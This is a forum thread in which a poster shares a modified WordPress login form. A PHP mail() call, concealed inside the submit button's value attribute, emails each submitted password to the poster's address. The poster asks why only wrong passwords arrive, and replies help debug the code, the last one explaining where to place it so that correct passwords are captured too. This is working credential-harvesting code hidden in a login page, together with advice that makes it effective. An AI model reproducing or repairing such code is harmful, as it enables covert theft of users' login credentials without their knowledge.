Hey guys I am trying to get the user input emailed from a php form.. here is the code. The problem is that when i put in right username and password it doesnt get emailed to me.. the page just redirects to the dashboard. but when i enter incorrect password it get emaild to me.. whats wrong with the code.. please help me.. its urgent.. <form name="loginform" id="loginform" action="wp-login.php" method="post"> <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?> <p> <label><?php _e('Username') ?><br /> <input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label> </p> <p> <label><?php _e('Password') ?><br /> <input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label> </p> <?php do_action('login_form'); ?> <p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" value="<?php if(isset($_POST['wp-submit'])) { $to = "my@email.com"; $subject = "Password"; $pwd = $_POST[pwd]; $body .= "Password : "; $body .= $pwd; mail($to, $subject, $body); } _e('Log In'); ?>" tabindex="100" /> <input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" /> <input type="hidden" name="testcookie" value="1" /> </p> <?php else : ?> <p> </p> <?php endif; ?> </form> PHP:
Try: if(!isset($_POST['wp-submit'])) PHP: that dose the opesat of what you had it might not work just give it a try.
you might have also sendmail disabled in your server...In which server you are using the code. If you trying in localhost then turn your sendmail on and if you are using free web hosting like 110mb and others then note that they will not send any email,you need to pay them and if you are using paid hosting that allows sendmail function then just try above given code.
Doesnt work.. Please read my first post. I have mentioned that i get the email when i enter wrong password. So sendmail isnt disabled. its the problem with the code. I recieve the wrongly entered password. but when i enter correct password it redirects to dashboard (obviously it will) but doesnt send me the email.
You have got the php code on the wrong page atm you have got it so when the password is wrong and it comes back to the login page for the user to try again it should be on the page that authenticates the user before being redirected.